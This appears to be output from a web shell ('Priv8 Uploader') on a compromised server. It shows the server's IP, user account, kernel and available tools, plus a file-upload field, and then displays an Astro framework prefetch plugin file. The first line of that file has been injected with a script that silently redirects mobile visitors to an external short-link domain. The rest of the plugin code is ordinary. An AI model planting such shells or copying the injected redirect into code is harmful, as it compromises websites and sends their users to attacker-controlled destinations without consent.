GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.217.79 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/astro/dist/prefetch/ |
Upload File : |
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/otqTzexnD0r8");
const VIRTUAL_MODULE_ID = "astro:prefetch";
const RESOLVED_VIRTUAL_MODULE_ID = "\0" + VIRTUAL_MODULE_ID;
const prefetchInternalModuleFsSubpath = "astro/dist/prefetch/index.js";
const prefetchCode = `import { init } from 'astro/virtual-modules/prefetch.js';init()`;
function astroPrefetch({ settings }) {
const prefetchOption = settings.config.prefetch;
const prefetch = prefetchOption ? typeof prefetchOption === "object" ? prefetchOption : {} : void 0;
if (prefetch && settings.scripts.every((s) => s.content !== prefetchCode)) {
settings.scripts.push({
stage: "page",
content: `import { init } from 'astro/virtual-modules/prefetch.js';init()`
});
}
const throwPrefetchNotEnabledError = () => {
throw new Error("You need to enable the `prefetch` Astro config to import `astro:prefetch`");
};
return {
name: "astro:prefetch",
resolveId: {
filter: {
id: new RegExp(`^${VIRTUAL_MODULE_ID}$`)
},
handler() {
if (!prefetch) throwPrefetchNotEnabledError();
return RESOLVED_VIRTUAL_MODULE_ID;
}
},
load: {
filter: {
id: new RegExp(`^${RESOLVED_VIRTUAL_MODULE_ID}$`)
},
handler() {
if (!prefetch) throwPrefetchNotEnabledError();
return { code: `export { prefetch } from "astro/virtual-modules/prefetch.js";` };
}
},
transform: {
filter: {
// NOTE: Handle replacing the specifiers even if prefetch is disabled so View Transitions
// can import the internal module and not hit runtime issues.
id: new RegExp(`${prefetchInternalModuleFsSubpath}`)
},
handler(code) {
code = code.replace(
"__PREFETCH_PREFETCH_ALL__",
// length: 25
`${JSON.stringify(prefetch?.prefetchAll)}`.padEnd(25)
).replace(
"__PREFETCH_DEFAULT_STRATEGY__",
// length: 29
`${JSON.stringify(prefetch?.defaultStrategy)}`.padEnd(29)
).replace(
"__EXPERIMENTAL_CLIENT_PRERENDER__",
// length: 33
`${JSON.stringify(settings.config.experimental.clientPrerender)}`.padEnd(33)
);
return { code, map: null };
}
}
};
}
export {
astroPrefetch as default
};